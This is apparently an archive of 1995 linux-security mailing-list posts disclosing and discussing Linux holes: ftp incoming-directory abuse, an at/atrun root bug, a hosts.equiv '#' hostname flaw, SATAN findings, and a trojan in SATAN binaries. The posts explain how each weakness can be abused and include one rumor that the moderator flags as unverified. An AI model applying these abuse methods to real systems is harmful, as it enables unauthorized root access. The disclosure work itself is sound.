tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id OAA01131; Sun, 26 Mar 1995 14:13:17 -0500 Received: (from hartmans@localhost) by tertius.mit.edu (8.6.9/8.6.9) id OAA15479; Sun, 26 Mar 1995 14:12:01 -0500 Date: Sun, 26 Mar 1995 14:12:01 -0500 From: Sam Hartman Message-Id: <[email protected]> To: Elias Levy CC: [email protected] In-reply-to: "[185] in linux-security and linux-alert archive" Subject: Re: Slackware Sender: [email protected] Precedence: list [mod: As always, replies to Sam, please. Can you post a summary, Sam? --okir] While we're on the subject of Slackware bugs, I've noticed this being exploited on a system I help administer here at MIT, and it's present in the current distributions. First, enabled by default and ~ftp/incoming is writable by user ftp. This is unfortunate, because the ftpd shipped with Slackware supports site chmod. If a group of friendly software distribution experts want to borrow some of your diskspace, they generally do something along the lines of creating ~ftp/incoming/.unreadable. They then chmod this directory (owned by ftp who created it) to 700. The user I was dealing with then created a directory name that was all backspaces, and then set up a pirate files subtree under this new directory. I really don't know of a secure way of setting up an incoming directory for anonymous ftp with the Linux ftpd, as I can't figure out how to disable site chmod or mkdir. --Sam linux-security/1995/linux-security.950403100664 1767 1767 17151 5740073560 17261 0ustar majdommajdomFrom [email protected] Mon Apr 3 04:01:05 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id DAA29611; Mon, 3 Apr 1995 03:46:46 -0400 Received: from clark.net (clark.net [168.143.0.7]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id BAA27593; Mon, 3 Apr 1995 01:31:49 -0400 Received: (ganderson@localhost) by clark.net (8.6.11/8.6.5) id BAA26638 for [email protected]; Mon, 3 Apr 1995 01:31:47 -0400 Date: Mon, 3 Apr 1995 01:31:47 -0400 From: Gary Anderson Message-Id: <[email protected]> To: [email protected] Subject: (fwd) security hole in Yggdrasil Linux Content-Type: text Content-Length: 1375 Sender: [email protected] Precedence: list [mod: Gary posted this to linux-alert, but I want to get some comment from Yggdrasil on this before we make an alert. Note that currently, this claim is unproven. Thought you should know this nevertheless. --okir] Don't know if this is valid or not (I don't run Yggdrasil), but just pulled this from comp.security.misc. Thought I'd pass it along, just in case. Gary [email protected] >From: [email protected] (Shawn W. Laemmrich) >Newsgroups: comp.security.misc >Subject: security hole in Yggdrasil Linux >Date: 2 Apr 1995 11:38:17 -0400 >Organization: Michigan Technological University >Lines: 13 >Message-ID: <[email protected]> >NNTP-Posting-Host: fishlab3.fsh.mtu.edu >X-Newsreader: TIN [version 1.2 PL2] >Just writing this to inform everyone out there that there is a MAJOR hole in >the security of Yggdrasil's release of linux. They have coded in a backdoor >that is common to all their releases. THey have created an extra root user >and hidden it. THey claim it was done in case your system went down, and you >aasked them to fix it, and forgot to give them the root password. In reality, >once someone knows this password (not real hard to guess) they have root >access on all machines running Yggdrasil Linux. I believe(but am not posative) >that upgrading your kernal to a non-yggdrasil release will elimonate this >-- >--------------------------------------------------------------------------- >|| Shawn Laemmrich Internet: [email protected] || >--------------------------------------------------------------------------- From [email protected] Mon Apr 3 09:10:53 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id JAA31185; Mon, 3 Apr 1995 09:02:46 -0400 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id IAA30970; Mon, 3 Apr 1995 08:19:27 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0rvl6n-0005AzC; Mon, 3 Apr 95 14:19 MET DST Received: from monad by monad.swb.de with uucp (smail3.1.29.0 #5) id m0rvler-000KjjC; Mon, 3 Apr 95 14:55 MET DST Received: from brewhq.swb.de by monad.swb.de with uucp (smail3.1.29.0 #5) id m0rvl2j-000KjyC; Mon, 3 Apr 95 14:15 MET DST Received: from adam.yggdrasil.com by brewhq.swb.de with smtp (Linux Smail3.1.29.0 #5) id m0rvie5-0005AqC; Mon, 3 Apr 95 11:42 MET DST Received: by adam.yggdrasil.com (Smail3.1.28.1 #77) id m0rvid5-000g8bC; Mon, 3 Apr 95 02:41 PDT Message-Id: Date: Mon, 3 Apr 95 02:41 PDT From: [email protected] (Adam J. Richter) To: [email protected], [email protected], [email protected] Newsgroups: comp.security.misc Subject: Re: security hole in Yggdrasil Linux References: <[email protected]> Organization: Yggdrasil Computing, Inc. Sender: [email protected] Precedence: list In article <[email protected]>, Shawn W. Laemmrich wrote: >Just writing this to inform everyone out there that there is a MAJOR hole in >the security of Yggdrasil's release of linux. They have coded in a backdoor >that is common to all their releases. THey have created an extra root user >and hidden it. THey claim it was done in case your system went down, and you >aasked them to fix it, and forgot to give them the root password. In reality, >once someone knows this password (not real hard to guess) they have root >access on all machines running Yggdrasil Linux. I believe(but am not posative) >that upgrading your kernal to a non-yggdrasil release will elimonate this There was an accidental security whole in the Fall '94 release of Plug-and-Play Linux that caused machines on the internet to trust the trusted machines at Yggdrasil, fixable with "cp /dev/null ~root/.rhosts". See ftp.yggdrasil.com:pub/fall94/errata for more information. I suspect that that bug is the basis for the urban myth that is your posting. We have *never* deliberately put any kind of security hole or back door in any release of Plug-and-Play Linux or any other Yggdrasil product, and we never will. As a quick sanity check, I just mounted both the Fall '94 cd and the "December 1994" CD (a slightly updated version of the Fall '94 cd), and checked both /ramdisk/var/etc/passwd and /dup_ramdisk/var/etc/passwd. Nothing unusual. If you believe that you have found a security hole, please report it to us immediately. Your story that "[Yggdrasil] claim that it ws done in case your system went down" is ridiculous. Just to check my own sanity, I will have a meeting with everyone at the office on Monday morning to find out if anyone can possibly recall making a statement like the one you described. Did you personally talk to someone at Yggdrasil? If not, who told you this incredible story? I want to find the source of this damaging rumor. Please substantiate or retract your statements immediately. From [email protected] Mon Apr 3 18:32:11 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id SAA11686; Mon, 3 Apr 1995 18:25:05 -0400 Received: from nz11.rz.uni-karlsruhe.de (nz11.rz.uni-karlsruhe.de [129.13.64.7]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id RAA11534; Mon, 3 Apr 1995 17:52:37 -0400 Received: from mvmampc66.ciw.uni-karlsruhe.de by nz11.rz.uni-karlsruhe.de with SMTP (PP); Mon, 3 Apr 1995 22:59:10 +0200 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.9/8.6.9) id WAA02520; Mon, 3 Apr 1995 22:59:00 +0200 Message-Id: <[email protected]> Subject: security hole in old versions of at for Linux To: [email protected] (linux-security) Date: Mon, 3 Apr 1995 22:59:00 +0200 (MET DST) From: [email protected] (Thomas Koenig) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 961 Sender: [email protected] Precedence: list [I think this is -announce - stuff. Thomas] I've just been informed that earlier versions of my at/atrun package for Linux had a bug which allowed root access for any authorized user of the system. This bug can only be exploited if the user can edit a job he's submitted to the atrun queue. If 'at -V' shows a version earlier than 2.7, or if the directory /var/spool/atjobs (or, possibly, /usr/spool/atjobs) is world - executable, you are vulnerable. In that case, upgrade your system to at 2.7 or 2.7a immediately. In the meantime, changing the permissions of /var/spool/atjobs to 700 will prevent unauthorized root access; this may also render the 'at' system unusable. Non - vulnerable versions of at have been around for about 10 months, and have been included in the standard distributions. -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. linux-security/1995/linux-security.950406100664 1767 1767 31565 5741115322 17263 0ustar majdommajdomFrom [email protected] Thu Apr 6 00:32:08 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id AAA05836; Thu, 6 Apr 1995 00:04:56 -0400 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id XAA05770; Wed, 5 Apr 1995 23:58:09 -0400 Resent-Date: Wed, 5 Apr 1995 23:58:09 -0400 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected] Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII From: "Alexander O. Yuriev" To: Olaf Kirch cc: Jeff Uphoff Subject: Report: LINUX and SATAN Date: Wed, 5 Apr 1995 22:00:16 -0400 (EDT) X-Attribution: Up Sender: [email protected] Precedence: list Hi, Here's the report. As Temple still does not have any position about SATAN, I can't say that this part of Linux security FAQ is written by me. Best wishes, Alex ============================================================================ SATAN and Linux LINUX SECURITY FAQ UPDATE April 5, 1995, 22:30 EST I think that it is fair to say now that the SATAN toolkit that was released today was not worth all the talks about it. On other hand it did provide the tool to efficiently analyze security of Linux systems. The following is a brief report. QUESTION: Does the Satan run on Linux? ANSWER: Yes it does. The default Satan configuration for Linux is unusable. In order to compile parts of Satan on Linux you will need to obtain SunOS's /usr/include/netinet/ip.h and /usr/include/netinet/ip_icmp.h. Use these files instead of Linux ip.h and ip_icmp.h. You will also need to change name of variables in in the udp_scan.c QUESTION: What can be said about security of Linux systems in general? ANSWER: Of 174 systems scanned, 17 (10%) had a problem with anonymous ftp and 5 with the Universal NFS Server 2.0. Olaf Kirch's server version 2.1 was not detected as the one having holes. QUESTION: Does Courtney-1.2 detect SATAN's attacks? ANSWER: NO IT DOES NOT! Courtney-1.2. was not able detect any total 500 attacks made against network of DEC Alphas, Sun's and Linux systems. ============================================================================= WARNING: YOU HAVE TO UPDATE THE DEFAULT NFS SERVER THAT COMES WITH SLACKWARE 2.1.0 ============================================================================= [Mod: The newly-released Slackware 2.2.0 also still uses this woefully insecure NFS server (version 2.0). --Jeff.] From [email protected] Thu Apr 6 12:07:46 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id LAA08780; Thu, 6 Apr 1995 11:45:45 -0400 Received: from cutter.ship.edu (cutter.ship.edu [157.160.80.101]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id BAA06442; Thu, 6 Apr 1995 01:27:37 -0400 Received: (from tbriggs@localhost) by cutter.ship.edu (8.6.9/8.6.9) id BAA11697; Thu, 6 Apr 1995 01:32:24 -0500 Date: Thu, 6 Apr 1995 01:32:24 -0500 (EST) From: Thomas Briggs To: [email protected] Subject: SATAN Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I just wanted to agree with the message that came through about SATAN not worth the hype, but there is another warning that SATAN found on my system involving the sendmail revision. Apparently the Infomagic CD-ROM distribution 2.2.0 still has the old sendmail, and SATAN picked this up. I was impressed. Out of a Linux box, two Suns, and a SYSV machine, Linux faired second best (the SYSV machine scored top). Suns were not impressive. "Cutter has crashed, again!" - S. Hooper, 1994 "NOT!" - Wayne and Garth, 1991 |Tom Briggs +----------------------------+ Cutter : Its not just a computer. |Shippensburg University of Pennsylvania | Its a P-90,Linux 1.2.1,telnet,AFTP |primary address: [email protected]+---------+ gopher,http,nfs,identd, |secondary address: [email protected]| pine,rtin,F90,lisp,C/++, +--------------------------------------------------+ IPX kind of adventure! [Mod: If you find anything interesting that SATAN detects on your Linux system, particularly if it is something that comes with a standard distribution, please drop us an e-mail with details. We'll try to compile a summary of things that SATAN can find wrong with common Linux configurations. If you find something wrong with your own homebrew "distribution" running hybrid SLS-1.0/binaries-from-1993/etc. though, we're not going to be especially interested... --Jeff.] From [email protected] Thu Apr 6 20:27:07 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id UAA12499; Thu, 6 Apr 1995 20:21:48 -0400 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id TAA12106; Thu, 6 Apr 1995 19:45:25 -0400 Received: from FOUNDATION.MIT.EDU by MIT.EDU with SMTP id AA01346; Thu, 6 Apr 95 19:44:55 EDT Received: from localhost by foundation.mit.edu (8.6.10/4.7) id TAA21892; Thu, 6 Apr 1995 19:44:55 -0400 Message-Id: <[email protected]> To: [email protected], [email protected] Cc: [email protected], [email protected] Subject: /etc/hosts.equiv in Slackware 2.2.0 and earlier Date: Thu, 06 Apr 1995 19:44:54 -0400 From: Erik Nygren Sender: [email protected] Precedence: list Hello, The default /etc/hosts.equiv file in Slackware 2.2.0 and in earlier versions contains comment lines which are not parsed by the parser in libc. As a result, any machine with the hostname "#" can gain unauthorized remote root access to any affected machine in the domain. I have not been able to test this so my conclusion may not be accurate. Looking at libc-linux/inet/rcmd.c which parses this file, I can find no attempts to handle lines starting with "#" in any special matter. It is likely that such lines will be taken as specifying trusted hostnames. The hostname "#" is not RFC-compliant but that does not mean that someone can't use it. Here is the contents of hosts.equiv in Slackware 2.2.0. A very similar file is used in Slackware 2.0.0: ----------- START /etc/hosts.equiv ----------- # # hosts.lpd This file describes the names of the hosts which are # to be considered "equivalent", i.e. which are to be # trusted enought for allowing rsh(1) commands. # # Version: @(#)/etc/hosts.lpd 2.00 04/30/93 # # Author: Fred N. van Kempen, MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII From: "Alexander O. Yuriev" Subject: LINUX FAQ Update (Linux and NFS) Date: Thu, 6 Apr 1995 19:47:34 -0400 (EDT) X-Attribution: Up Sender: [email protected] Precedence: list ***************CUT HERE******************************CUT HERE************** NFS and Linux LINUX SECURITY FAQ UPDATE April 6, 19:50 EST Copyright (C) 1995 Alexander O. Yuriev CIS Laboratories, TEMPLE UNIVERSITY (CREDITS: Olaf Kirch and Jeff Uphoff) This is not a release of Linux Security FAQ. It is just an urgent update that has to be published because of the fact that many Linux system administrators are not aware of this problem. LINUX SYSTEM AS NFS CLIENT The Network File System support in Linux is split into two parts. As a client, Linux has ability to access NFS volumes using nfs support incorporated into the kernel. Presently, it is unknown if Linux kernel is vulnerable to spoofed information. There are as yet no incidents known to Olaf Kirch, Jeff Uphoff or me. LINUX SYSTEM AS NFS SERVER In order to provide NFS service, Linux system has to run a set of 3 programs: * Portmapper (rpc.portmap) Mount Daemon (rpc.mountd) * NFS Server (rpc.nfsd) Two of these 3 programs have *BIG* problems in all Slackware Linux distributions, that according to Jeff Uphoff includes Slackware 2.2.0 that was recently released. _All_ distributions released before March 12, 1995 are subject to one or more of those holes, as are many released after that date. Linux Portmapper (rpc.portmap) We are not aware of any Linux distribution that does not have a hole in a portmapper. You will also need tcp wrapper library to compile it. Linux NFS Server The Universal NFS Server used by Linux distributions is known to have *BIG* holes, including incorrect implementation of (root_squash) and virtually no authentication. The most secure Linux NFS Server as of today is Universal NFS Server 2.2 patched by Olaf Kirch. Linux Mount Daemon There are no known problems with Linux mount daemon by itself. The problem was the nfsd 2.0 had a hole that allowed to remote site to access entire tree of a partition even when rpc.mountd was not running at all. FIXES AND PATCHES Secure portmapper: ftp://linux.nrao.edu/pub/linux/security/nfsd/portmap-3.tar.gz Universal NFS Server 2.2alpha3 ftp://linux.nrao.edu/pub/linux/security/nfsd/nfs-server-2.2alpha3.tar.gz ***************CUT HERE******************************CUT HERE************** ============================================================================= CIS Laboratories email: [email protected] TEMPLE UNIVERSITY [email protected] USA Tel: 1-800-DEV-NULL ============================================================================= From [email protected] Thu Apr 6 21:52:12 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id VAA12999; Thu, 6 Apr 1995 21:50:13 -0400 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id VAA12993; Thu, 6 Apr 1995 21:50:04 -0400 Date: Thu, 6 Apr 1995 21:50:04 -0400 From: Jeff Uphoff Message-Id: <[email protected]> To: [email protected] Subject: Re: LINUX FAQ Update (Linux and NFS) X-Zippy: Why don't you ever enter and CONTESTS, Marvin?? Don't you know your own ZIPCODE? X-Attribution: Up Sender: [email protected] Precedence: list I meant to add this as a side note on my forwarding of Alexander Yuriev's post, but didn't remember to do so until *after* I'd hit the send key: Alexander's recent mention in a post regarding SATAN of the (now-known-for-a-month) NFS server hole has caused his mailbox to become saturated with information requests. The information contained in his FAQ snippet (he's currently working on writing a Linux-security FAQ) is the basic information that you need, including a pointer to patched versions of the portmapper and the NFS-server on linux.nrao.edu (the patches are by Olaf Kirch). The word on this NFS hole was passed to both the linux-security and linux-alert lists in early/mid March, but apparently a lot of people out there missed it. Please take it easy on Alex's mailbox out there, OK? :)~ --Up. Note: Updates to this server will be released at linux.nrao.edu:/pub/people/okir/nfsd and fb0433.mathematik.th-darmstadt.de:/pub/linux/okir -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ linux-security/1995/linux-security.950408100664 1767 1767 23434 5741526661 17275 0ustar majdommajdomFrom [email protected] Sat Apr 8 07:42:27 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id HAA26300; Sat, 8 Apr 1995 07:35:36 -0400 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id TAA23809; Fri, 7 Apr 1995 19:56:28 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0rxNsv-0005B6C; Sat, 8 Apr 95 01:56 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0rxOUk-000KjRC; Sat, 8 Apr 95 02:35 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: SATAN information To: [email protected] Date: Sat, 8 Apr 1995 02:35:22 +0200 (MET DST) Cc: [email protected], [email protected] (Jeff Uphoff) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 5047 Sender: [email protected] Precedence: list [mod: This is a draft for general information about SATAN vs. Linux. Right now, I'm posting this only to linux-security in case people have something to add. I'd like to make this more widely available later if necessary. --okir] SATAN is like a gun, and this is handing a gun to a 12-year old. LA Times according to the SATAN docs What is SATAN? -------------- The acronym stands for Security Analysis Tools for Auditing Networks. The core of SATAN is a set of scripts that can run various security checks on one or more remote hosts and display the output with an HTML viewer. On one hand, this lets relatively inexperienced system administrators check their system for security holes; on the other hand, it lets the average wannabe-cracker find out about them too. BUT: this does not mean SATAN actually helps people break into your system. It shows where the weak spots are and tells you what the problem is, but it never actually breaks into a system. And unless you really know what you're doing, the tools in SATAN won't even help you a lot in cracking someone else's system. To understand some of the information presented by SATAN, it may be useful to know that one of the central concepts in SATAN is trust. In this context, the term describes the ability of processes on a remote host to access services on the machine in question. Letting users from host foobar.com log in without password is one special form of trust; but SATAN considers letting them log in *at all* an act of trust, too. For more information, please refer to the online documentation that comes with SATAN. What problems does SATAN probe for? ----------------------------------- Here's a list of things SATAN probes for: * Scan UDP and TCP ports for interesting services. * Scan the portmapper for interesting services. * Availability of the rex RPC service * World-exported NFS volumes. * Ability to mount NFS volumes either directly from mountd or through a portmapper proxy call. * Ability to access files in /etc through TFTP. * Writable FTP home directory. * X servers allowing unauthenticated access. * Wildcard hostname in /etc/hosts.equiv. * Probing host's name in /etc/hosts.equiv. * sendmail prior to version 8.6.10. Please note that this list is incomplete. There are a few other things SATAN checks for that I either found not interesting enough to mention or I was too stupid to notice. All in all, these checks are by no means a gun in the hands of a minor. Fixes to problems reported by SATAN ----------------------------------- Here are fixes to various problems SATAN may complain about when probing a Linux box. rex: I'm not aware of any rex implementation for Linux. If you have one, disable it. (Note: RPC-based rex service is *not* the same as rexec, which is based on plain TCP). NFS: * World-exported NFS volumes: Usually not what you want. If you need to export a directory to a large number of hosts, use the wildcard feature of Linux nfsd. To avoid IP address spoofing, either set `nospoof on' in /etc/host.conf or get the latest nfsd. * Mounting NFS volumes through the portmapper: Get portmap_3. You can compile portmap_3 both with tcp-wrapper access and without. In the former case, you'll also need libwrap.a from the tcp_wrapper package. TFTP: If you don't need tftp, disable it in inetd.conf. If you do need it, make sure to specify only those directories on the command line you actually wish to provide access to. FTP: Unlike much older documentation claimed, ftp's home directory should not be owned by ftp itself. Better chown it to root, ftpadmin, or whoever. If your run wu-ftpd, you may also want to consult the manpage about restricting specific operations such as MKDIR and CHMOD. X11: When using host-based access, never run `xhost +'. If possible, use user-based authentication such as MIT-MAGIC-COOKIE. This is the default when logging in via xdm. With xinit, this requires some tweaking (See Volume 8 of O'Reilly's X series). hosts.equiv: * Wildcard hostnames are evil. Don't use them. * Normal trust is OK, I guess. SATAN will still complain about this under some circumstances, but this is often due to having things like `localhost' in hosts.equiv. sendmail: Run sendmail 8.6.10 or later. Linux and SATAN. ---------------- To run SATAN on your Linux machine, you need to modify the source slightly. You can get patches for this from linux.nrao.edu:/pub/security or from fb0433.mathematik.th-darmstadt.de/pub/linux. Note: these patches are ugly, because I just hacked the linux IP header files until the field names agreed with what SATAN was expecting. They work for me, but they may not work for you. --Olaf PS: For European users: I've also uploaded the latest version of nfsd to fb0433. If you have problems reaching NRAO, try to get it from there. -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax From [email protected] Sat Apr 8 11:37:16 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id LAA26785; Sat, 8 Apr 1995 11:26:31 -0400 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id LAA26736; Sat, 8 Apr 1995 11:18:08 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0rxcHJ-0005AzC; Sat, 8 Apr 95 17:18 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0rxcui-000KjbC; Sat, 8 Apr 95 17:59 MET DST Received: from brewhq.swb.de by monad.swb.de with uucp (smail3.1.29.0 #5) id m0rxcFi-000KjwC; Sat, 8 Apr 95 17:16 MET DST Received: from panix3.panix.com by brewhq.swb.de with smtp (Linux Smail3.1.29.0 #5) id m0rxam2-0005B3C; Sat, 8 Apr 95 15:42 MET DST Received: (from stimpson@localhost) by panix3.panix.com (8.6.12/8.6.10+PanixU1.0) id JAA08873; Sat, 8 Apr 1995 09:41:03 -0400 Date: Sat, 8 Apr 1995 09:41:03 -0400 (EDT) From: "S. Joel Katz" To: [email protected] Subject: Trojan in Linux Satan Binaries Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Status: RO Sender: [email protected] Precedence: list [mod: I could not verify these claims in any way; nor could I verify if this mail is really from Joel Katz because the message was not PGP-signed. Therefore, I'm not signing this post to linux-alert either. You should take this warning serious nevertheless. --okir] ---------------------------------------------------------------------------- SECURITY ALERT -- Trojan in Linux Satan Binaries ---------------------------------------------------------------------------- It appears that someone with physical access to my computer inserted a Trojan into my release of the Linux Satan binaries. This definitely affects the versions downloaded from ftp.epinet.com and may affect those from other sites. At least 400 sites have ftp'd the trojan. This Trojan has not been exploited and will not be used. Briefly, if you downloaded Linux Satan Binaries from anywhere, to be safe, create a user named "suser" in your /etc/passwd file, set his password to "*" and his user number to 9955. This will disable the Trojan completely and Satan can still be used. You can obtain the latest info by fingering "[email protected]". Mail regarding the trojan should be sent to the same address. Someone I know wanted to make some bizarre point about tools like Satan being useless in the hands of the technically unskilled. He obtained physical access to my machine when I was not in my lab and obtained my password from a log. (Stupid me, when I was having PPP problems, I told chat to log everything -- including my password!) Unfortunately, my PPP password is my Panix password (by their design). This person has no intentions of using the Trojan and only wanted to make a statement, not compromise people's security. When I checked for other tampered files by comparing my system to my last backup, I noticed a copy of the source of the trojan sitting in a directory that contains newbie help for Usenet. It is clear that only the author of the Trojan can exploit it. He is quite remorseful about what he has done. I will release more details including the source shortly. Right now, I want to give people a chance to secure their systems. If you have an "suser" line in your /etc/passwd file, you have been attacked. Change "suser"'s password to "*". If you don't have such a line, add one just to be safe -- the Trojan shuts down if "suser" already exists. Make it user number 9955, and set its password to "*". This problem does not affect any of the source releases. My sincere apologies to those whose system's security may have been compromised. Sincerely, Joel Katz (Address replies to [email protected]) linux-security/1995/linux-security.950411100664 1767 1767 13000 5742521560 17245 0ustar majdommajdomFrom [email protected] Tue Apr 11 03:43:07 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id DAA16591; Tue, 11 Apr 1995 03:19:12 -0400 Received: from narkis.wisdom.weizmann.ac.il (narkis.wisdom.weizmann.ac.il [132.76.80.32]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id LAA03843; Sun, 9 Apr 1995 11:03:07 -0400 Received: from wisdom.weizmann.ac.il (wisdom.weizmann.ac.il [132.76.80.77]) by narkis.wisdom.weizmann.ac.il (8.6.5/mail.byaddr) with ESMTP id SAA02288 for ; Sun, 9 Apr 1995 18:02:14 +0300 From: Belikoff Alexander Received: (abel@localhost) by wisdom.weizmann.ac.il (8.6.9/8.6.5) id PAA18798; Sun, 9 Apr 1995 15:02:08 GMT Date: Sun, 9 Apr 1995 15:02:08 GMT Message-Id: <[email protected]> To: [email protected] Subject: Serious security hole: log files Newsgroups: alt.security,comp.security.unix Sender: [email protected] Precedence: list Hi everybody, I would like to mention a serious (on my mind) security hole in the logging system. As I noticed, sysklogd package creates log files with world-read permissions. Now suppose the following: you type your password at the login prompt (it *does* happen sometimes, whether you want it or not). As usually, your log file will contain the message of the following kind: ... login failed for user 'my_very_secure_password' Now suppose the ill-minded guy, reading your log file... The best solution is, probably, to set /usr/adm perms to 700. abel -- /v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^\ Alexander L. Belikoff |o ... o| ([email protected]) |o 3314 signal(SIG_CTHULHU, fhtagn); o| |o 3315 pause(); o| Berger Financial Research, Ltd. |o ... o| From [email protected] Tue Apr 11 11:42:35 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id LAA18388; Tue, 11 Apr 1995 11:38:08 -0400 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id LAA18349; Tue, 11 Apr 1995 11:29:07 -0400 Date: Tue, 11 Apr 1995 11:29:07 -0400 From: Jeff Uphoff Message-Id: <[email protected]> To: Belikoff Alexander Cc: [email protected] Subject: Re: Serious security hole: log files Newsgroups: alt.security,comp.security.unix In-Reply-To: Your message of Sun, April 9, 1995 15:02:08 GMT References: <[email protected]> X-Quote-I-Like: "I'd crawl over an acre of 'Visual This++' and 'Integrated Development That' to get to gcc, Emacs, and gdb. Thank you." --Vance Petree, Virginia Power. X-Attribution: Up Sender: [email protected] Precedence: list "BA" == Belikoff Alexander writes: BA> I would like to mention a serious (on my mind) security hole in the BA> logging system. This is not a "hole" unique to Linux. BA> As I noticed, sysklogd package creates log files with world-read BA> permissions. Now suppose the following: you type your password at the BA> login prompt (it *does* happen sometimes, whether you want it or not). BA> As usually, your log file will contain the message of the following BA> kind: BA> ... login failed for user 'my_very_secure_password' This is a common occurrence, unfortunately; I've done it more times than I would care to remember. BA> Now suppose the ill-minded guy, reading your log file... BA> The best solution is, probably, to set /usr/adm perms to 700. Though 'syslogd' will usually create the files with world-read permission, it will not modify an *existing* log-file's permission when it starts. Here's how I do things (to prevent people from snooping in the log files that may contain passwords, etc); I rotate my logs at shutdown, vice via a crontab, so all my current logs contain info. since the last (nice) shutdown. Snippet from /etc/rc.d/rc.0: if [ ! -f /etc/fastboot ] ; then echo "Emptying the trash:" > /dev/console /etc/rc.d/brc.clean > /dev/console 2>&1 echo "Trimming logs:" > /dev/console /etc/rc.d/brc.trim > /dev/console 2>&1 fi Snippet from /etc/rc.d/brc.trim: ADMDIR=/var/adm # Trim messages log. if [ -s $ADMDIR/messages ] ; then echo " messages" cat $ADMDIR/messages.old $ADMDIR/messages | tail -n 5000 > $ADMDIR/messages.tmp mv -f $ADMDIR/messages.tmp $ADMDIR/messages.old rm -f $ADMDIR/messages ; touch $ADMDIR/messages chown root.sysadmin $ADMDIR/messages* ; chmod 640 $ADMDIR/messages* fi I'm not saying that this is an optimal way of doing this, but I've been using this scheme under Linux (in various ways) for about two years. By making sure that the /var/adm/messages file will exist at next 'syslogd' startup, and that it will have the ownership and permissions that I want, I don't have to worry about people browsing it for passwords. (My regular account is the only one in the "sysadmin" group--so that I can take quick peeks at the logs without having to 'su'.) Further discussion on this by private e-mail (not the list) please, as it's pretty much a general UNIX sysadmin issue... --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ linux-security/1995/linux-security.950413100664 1767 1767 22744 5743366335 17276 0ustar majdommajdomFrom [email protected] Thu Apr 13 18:09:24 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id RAA07743; Thu, 13 Apr 1995 17:47:00 -0400 Received: from bach.cis.temple.edu (bach.cis.temple.edu [129.32.32.92]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id NAA11703; Mon, 10 Apr 1995 13:32:45 -0400 Received: (from alex@localhost) by bach.cis.temple.edu (8.6.10/8.6.9) id NAA22703; Mon, 10 Apr 1995 13:33:38 -0400 Date: Mon, 10 Apr 1995 13:33:38 -0400 (EDT) From: "Alexander O. Yuriev" To: [email protected] Subject: Linux Security FAQ Update: Trojan in Satan Binaries Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hello, This is an update of Linux Security FAQ. I'm again thinking about sending sendmail KILL signal - 230 messages to read/reply. ;-) Best wishes, Alex ----------CUT-HERE-------------CUT-HERE-----------CUT-HERE------------- LINUX Satan Alert Trojan Horse in Linux Binaries LINUX SECURITY FAQ UPDATE Copyright (C) 1995 Alexander O. Yuriev, CIS Laboratories TEMPLE UNIVERSITY In cooperation with Jeff Uphoff and Olaf Kirch 